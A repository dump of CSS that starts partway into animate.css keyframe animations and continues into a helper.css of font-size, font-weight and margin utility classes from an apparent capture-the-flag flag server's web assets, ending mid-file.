bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:none;transform:none}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp} ================================================ FILE: flag_server/webapps/static/css/helper.css ================================================ /* font */ /* font size */ .f-s-1 {font-size: 1px!important;} .f-s-2 {font-size: 2px!important;} .f-s-3 {font-size: 3px!important;} .f-s-4 {font-size: 4px!important;} .f-s-5 {font-size: 5px!important;} .f-s-6 {font-size: 6px!important;} .f-s-7 {font-size: 7px!important;} .f-s-8 {font-size: 8px!important;} .f-s-9 {font-size: 9px!important;} .f-s-10 {font-size: 10px!important;} .f-s-11 {font-size: 11px!important;} .f-s-12 {font-size: 12px!important;} .f-s-13 {font-size: 13px!important;} .f-s-14 {font-size: 14px!important;} .f-s-15 {font-size: 15px!important;} .f-s-16 {font-size: 16px!important;} .f-s-17 {font-size: 17px!important;} .f-s-18 {font-size: 18px!important;} .f-s-19 {font-size: 19px!important;} .f-s-20 {font-size: 20px!important;} .f-s-21 {font-size: 21px!important;} .f-s-22 {font-size: 22px!important;} .f-s-23 {font-size: 23px!important;} .f-s-24 {font-size: 24px!important;} .f-s-25 {font-size: 25px!important;} .f-s-26 {font-size: 26px!important;} .f-s-27 {font-size: 27px!important;} .f-s-28 {font-size: 28px!important;} .f-s-29 {font-size: 29px!important;} .f-s-30 {font-size: 30px!important;} .f-s-31 {font-size: 31px!important;} .f-s-32 {font-size: 32px!important;} .f-s-33 {font-size: 33px!important;} .f-s-34 {font-size: 34px!important;} .f-s-35 {font-size: 35px!important;} .f-s-36 {font-size: 36px!important;} .f-s-37 {font-size: 37px!important;} .f-s-38 {font-size: 38px!important;} .f-s-39 {font-size: 39px!important;} .f-s-40 {font-size: 40px!important;} .f-s-41 {font-size: 41px!important;} .f-s-42 {font-size: 42px!important;} .f-s-43 {font-size: 43px!important;} .f-s-44 {font-size: 44px!important;} .f-s-45 {font-size: 45px!important;} .f-s-46 {font-size: 46px!important;} .f-s-47 {font-size: 47px!important;} .f-s-48 {font-size: 48px!important;} .f-s-49 {font-size: 49px!important;} .f-s-50 {font-size: 50px!important;} .f-s-51 {font-size: 51px!important;} .f-s-52 {font-size: 52px!important;} .f-s-53 {font-size: 53px!important;} .f-s-54 {font-size: 54px!important;} .f-s-55 {font-size: 55px!important;} .f-s-56 {font-size: 56px!important;} .f-s-57 {font-size: 57px!important;} .f-s-58 {font-size: 58px!important;} .f-s-59 {font-size: 59px!important;} .f-s-60 {font-size: 60px!important;} .f-s-61 {font-size: 61px!important;} .f-s-62 {font-size: 62px!important;} .f-s-63 {font-size: 63px!important;} .f-s-64 {font-size: 64px!important;} .f-s-65 {font-size: 65px!important;} .f-s-66 {font-size: 66px!important;} .f-s-67 {font-size: 67px!important;} .f-s-68 {font-size: 68px!important;} .f-s-69 {font-size: 69px!important;} .f-s-70 {font-size: 70px!important;} .f-s-71 {font-size: 71px!important;} .f-s-72 {font-size: 72px!important;} .f-s-73 {font-size: 73px!important;} .f-s-74 {font-size: 74px!important;} .f-s-75 {font-size: 75px!important;} .f-s-76 {font-size: 76px!important;} .f-s-77 {font-size: 77px!important;} .f-s-78 {font-size: 78px!important;} .f-s-79 {font-size: 79px!important;} .f-s-80 {font-size: 80px!important;} .f-s-81 {font-size: 81px!important;} .f-s-82 {font-size: 82px!important;} .f-s-83 {font-size: 83px!important;} .f-s-84 {font-size: 84px!important;} .f-s-85 {font-size: 85px!important;} .f-s-86 {font-size: 86px!important;} .f-s-87 {font-size: 87px!important;} .f-s-88 {font-size: 88px!important;} .f-s-89 {font-size: 89px!important;} .f-s-90 {font-size: 90px!important;} .f-s-91 {font-size: 91px!important;} .f-s-92 {font-size: 92px!important;} .f-s-93 {font-size: 93px!important;} .f-s-94 {font-size: 94px!important;} .f-s-95 {font-size: 95px!important;} .f-s-96 {font-size: 96px!important;} .f-s-97 {font-size: 97px!important;} .f-s-98 {font-size: 98px!important;} .f-s-99 {font-size: 99px!important;} .f-s-100 {font-size: 100px!important;} /* font weight */ .f-w-100 {font-weight: 100} .f-w-200 {font-weight: 200} .f-w-300 {font-weight: 300} .f-w-400 {font-weight: 400} .f-w-500 {font-weight: 500} .f-w-600 {font-weight: 600} .f-w-700 {font-weight: 700} .f-w-800 {font-weight: 800} .f-w-900 {font-weight: 900} /* margin */ .m-0 {margin: 0px!important;} /* margin top */ .m-t-0 {margin-top: 0px!important;} .m-t-1 {margin-top: 1px!important;} .m-t-2 {margin-top: 2px!important;} .m-t-3 {margin-top: 3px!important;} .m-t-4 {margin-top: 4px!important;} .m-t-5 {margin-top: 5px!important;} .m-t-6 {margin-top: 6px!important;} .m-t-7 {margin-top: 7px!important;} .m-t-8 {margin-top: 8px!important;} .m-t-9 {margin-top: 9px!important;} .m-t-10 {margin-top: 10px!important;} .m-t-11 {margin-top: 11px!important;} .m-t-12 {margin-top: 12px!important;} .m-t-13 {margin-top: 13px!important;} .m-t-14 {margin-top: 14px!important;} .m-t-15 {margin-top: 15px!important;} .m-t-16 {margin-top: 16px!important;} .m-t-17 {margin-top: 17px!important;} .m-t-18 {margin-top: 18px!important;} .m-t-19 {margin-top: 19px!important;} .m-t-20 {margin-top: 20px!important;} .m-t-21 {margin-top: 21px!important;} .m-t-22 {margin-top: 22px!important;} .m-t-23 {margin-top: 23px!important;} .m-t-24 {margin-top: 24px!important;} .m-t-25 {margin-top: 25px!important;} .m-t-26 {margin-top: 26px!important;} .m-t-27 {margin-top: 27px!important;} .m-t-28 {margin-top: 28px!important;} .m-t-29 {margin-top: 29px!important;} .m-t-30 {margin-top: 30px!important;} .m-t-31 {margin-top: 31px!important;} .m-t-32 {margin-top: 32px!important;} .m-t-33 {margin-top: 33px!important;} .m-t-34 {margin-top: 34px!important;} .m-t-35 {margin-top: 35px!important;} .m-t-36 {margin-top: 36px!important;} .m-t-37 {margin-top: 37px!important;} .m-t-38 {margin-top: 38px!important;} .m-t-39 {margin-top: 39px!important;} .m-t-40 {margin-top: 40px!important;} .m-t-41 {margin-top: 41px!important;} .m-t-42 {margin-top: 42px!important;} .m-t-43 {margin-top: 43px!important;} .m-t-44 {margin-top: 44px!important;} .m-t-45 {margin-top: 45px!important;} .m-t-46 {margin-top: 46px!important;} .m-t-47 {margin-top: 47px!important;} .m-t-48 {margin-top: 48px!important;} .m-t-49 {margin-top: 49px!important;} .m-t-50 {margin-top: 50px!important;} .m-t-51 {margin-top: 51px!important;} .m-t-52 {margin-top: 52px!important;} .m-t-53 {margin-top: 53px!important;} .m-t-54 {margin-top: 54px!important;} .m-t-55 {margin-top: 55px!important;} .m-t-56 {margin-top: 56px!important;} .m-t-57 {margin-top: 57px!important;} .m-t-58 {margin-top: 58px!important;} .m-t-59 {margin-top: 59px!important;} .m-t-60 {margin-top: 60px!important;} .m-t-61 {margin-top: 61px!important;} .m-t-62 {margin-top: 62px!important;} .m-t-63 {margin-top: 63px!important;} .m-t-64 {margin-top: 64px!important;} .m-t-65 {margin-top: 65px!important;} .m-t-66 {margin-top: 66px!important;} .m-t-67 {margin-top: 67px!important;} .m-t-68 {margin-top: 68px!important;} .m-t-69 {margin-top: 69px!important;} .m-t-70 {margin-top: 70px!important;} .m-t-71 {margin-top: 71px!important;} .m-t-72 {margin-top: 72px!important;} .m-t-73 {margin-top: 73px!important;} .m-t-74 {margin-top: 74px!important;} .m-t-75 {margin-top: 75px!important;} .m-t-76 {margin-top: 76px!important;} .m-t-77 {margin-top: 77px!important;} .m-t-78 {margin-top: 78px!important;} .m-t-79 {margin-top: 79px!important;} .m-t-80 {margin-top: 80px!important;} .m-t-81 {margin-top: 81px!important;} .m-t-82 {margin-top: 82px!important;} .m-t-83 {margin-top: 83px!important;} .m-t-84 {margin-top: 84px!important;} .m-t-85 {margin-top: 85px!important;} .m-t-86 {margin-top: 86px!important;} .m-t-87 {margin-top: 87px!important;} .m-t-88 {margin-top: 88px!important;} .m-t-89 {margin-top: 89px!important;} .m-t-90 {margin-top: 90px!important;} .m-t-91 {margin-top: 91px!important;} .m-t-92 {margin-top: 92px!important;} .m-t-93 {margin-top: 93px!important;} .m-t-94 {margin-top: 94px!important;} .m-t-95 {margin-top: 95px!important;} .m-t-96 {margin-top: 96px!important;} .m-t-97 {margin-top: 97px!important;} .m-t-98 {margin-top: 98px!important;} .m-t-99 {margin-top: 99px!important;} .m-t-100 {margin-top: 100px!important;} .m-t-101 {margin-top: 101px!important;} .m-t-102 {margin-top: 102px!important;} .m-t-103 {margin-top: 103px!important;} .m-t-104 {margin-top: 104px!important;} .m-t-105 {margin-top: 105px!important;} .m-t-106 {margin-top: 106px!important;} .m-t-107 {margin-top: 107px!important;} .m-t-108 {margin-top: 108px!important;} .m-t-109 {margin-top: 109px!important;} .m-t-110 {margin-top: 110px!important;} .m-t-111 {margin-top: 111px!important;} .m-t-112 {margin-top: 112px!important;} .m-t-113 {margin-top: 113px!important;} .m-t-114 {margin-top: 114px!important;} .m-t-115 {margin-top: 115px!important;} .m-t-116 {margin-top: 116px!important;} .m-t-117 {margin-top: 117px!important;} .m-t-118 {margin-top: 118px!important;} .m-t-119 {margin-top: 119px!important;} .m-t-120 {margin-top: 120px!important;} .m-t-121 {margin-top: 121px!important;} .m-t-122 {margin-top: 122px!important;} .m-t-123 {margin-top: 123px!important;} .m-t-124 {margin-top: 124px!important;} .m-t-125 {margin-top: 125px!important;} .m-t-126 {margin-top: 126px!important;} .m-t-127 {margin-top: 127px!important;} .m-t-128 {margin-top: 128px!important;} .m-t-129 {margin-top: 129px!important;} .m-t-130 {margin-top: 130px!important;} .m-t-131 {margin-top: 131px!important;} .m-t-132 {margin-top: 132px!important;} .m-t-133 {margin-top: 133px!important;} .m-t-134 {margin-top: 134px!important;} .m-t-135 {margin-top: 135px!important;} .m-t-136 {margin-top: 136px!important;} .m-t-137 {margin-top: 137px!important;} .m-t-138 {margin-top: 138px!important;} .m-t-139 {margin-top: 139px!important;} .m-t-140 {margin-top: 140px!important;} .m-t-141 {margin-top: 141px!important;} .m-t-142 {margin-top: 142px!important;} .m-t-143 {margin-top: 143px!important;} .m-t-144 {margin-top: 144px!important;} .m-t-145 {margin-top: 145px!important;} .m-t-146 {margin-top: 146px!important;} .m-t-147 {margin-top: 147px!important;} .m-t-148 {margin-top: 148px!important;} .m-t-149 {margin-top: 149px!important;} .m-t-150 {margin-top: 150px!important;} /* margin right */ .m-r-0 {margin-right: 0px!important;} .m-r-1 {margin-right: 1px!important;} .m-r-2 {margin-right: 2px!important;} .m-r-3 {margin-right: 3px!important;} .m-r-4 {margin-right: 4px!important;} .m-r-5 {margin-right: 5px!important;} .m-r-6 {margin-right: 6px!important;} .m-r-7 {margin-right: 7px!important;} .m-r-8 {margin-right: 8px!important;} .m-r-9 {margin-right: 9px!important;} .m-r-10 {margin-right: 10px!important;} .m-r-11 {margin-right: 11px!important;} .m-r-12 {margin-right: 12px!important;} .m-r-13 {margin-right: 13px!important;} .m-r-14 {margin-right: 14px!important;} .m-r-15 {margin-right: 15px!important;} .m-r-16 {margin-right: 16px!important;} .m-r-17 {margin-right: 17px!important;} .m-r-18 {margin-right: 18px!important;} .m-r-19 {margin-right: 19px!important;} .m-r-20 {margin-right: 20px!important;} .m-r-21 {margin-right: 21px!important;} .m-r-22 {margin-right: 22px!important;} .m-r-23 {margin-right: 23px!important;} .m-r-24 {margin-right: 24px!important;} .m-r-25 {margin-right: 25px!important;} .m-r-26 {margin-right: 26px!important;} .m-r-27 {margin-right: 27px!important;} .m-r-28 {margin-right: 28px!important;} .m-r-29 {margin-right: 29px!important;} .m-r-30 {margin-right: 30px!important;} .m-r-31 {margin-right: 31px!important;} .m-r-32 {margin-right: 32px!important;} .m-r-33 {margin-right: 33px!important;} .m-r-34 {margin-right: 34px!important;} .m-r-35 {margin-right: 35px!important;} .m-r-36 {margin-right: 36px!important;} .m-r-37 {margin-right: 37px!important;} .m-r-38 {margin-right: 38px!important;} .m-r-39 {margin-right: 39px!important;} .m-r-40 {margin-right: 40px!important;} .m-r-41 {margin-right: 4px!important;} .m-r-42 {margin-right: 42px!important;} .m-r-43 {margin-right: 43px!important;} .m-r-44 {margin-right: 44px!important;} .m-r-45 {margin-right: 45px!important;} .m-r-46 {margin-right: 46px!important;} .m-r-47 {margin-right: 47px!important;} .m-r-48 {margin-right: 48px!important;} .m-r-49 {margin-right: 49px!important;} .m-r-50 {margin-right: 50px!important;} .m-r-51 {margin-right: 51px!important;} .m-r-52 {margin-right: 52px!important;} .m-r-53 {margin-right: 53px!important;} .m-r-54 {margin-right: 54px!important;} .m-r-55 {margin-right: 55px!important;} .m-r-56 {margin-right: 56px!important;} .m-r-57 {margin-right: 57px!important;} .m-r-58 {margin-right: 58px!important;} .m-r-59 {margin-right: 59px!important;} .m-r-60 {margin-right: 60px!important;} .m-r-61 {margin-right: 61px!important;} .m-r-62 {margin-right: 62px!important;} .m-r-63 {margin-right: 63px!important;} .m-r-64 {margin-right: 64px!important;} .m-r-65 {margin-right: 65px!important;} .m-r-66 {margin-right: 66px!important;} .m-r-67 {margin-right: 67px!important;} .m-r-68 {margin-right: 68px!important;} .m-r-69 {margin-right: 69px!important;} .m-r-70 {margin-right: 70px!important;} .m-r-71 {margin-right: 71px!important;} .m-r-72 {margin-right: 72px!important;} .m-r-73 {margin-right: 73px!important;} .m-r-74 {margin-right: 74px!important;} .m-r-75 {margin-right: 75px!important;} .m-r-76 {margin-right: 76px!important;} .m-r-77 {margin-right: 77px!important;} .m-r-78 {margin-right: 78px!important;} .m-r-79 {margin-right: 79px!important;} .m-r-80 {margin-right: 80px!important;} .m-r-81 {margin-right: 81px!important;} .m-r-82 {margin-right: 82px!important;} .m-r-83 {margin-right: 83px!important;} .m-r-84 {margin-right: 84px!important;} .m-r-85 {margin-right: 85px!important;} .m-r-86 {margin-right: 86px!important;} .m-r-87 {margin-right: 87px!important;} .m-r-88 {margin-right: 88px!important;} .m-r-89 {margin-right: 89px!important;} .m-r-90 {margin-right: 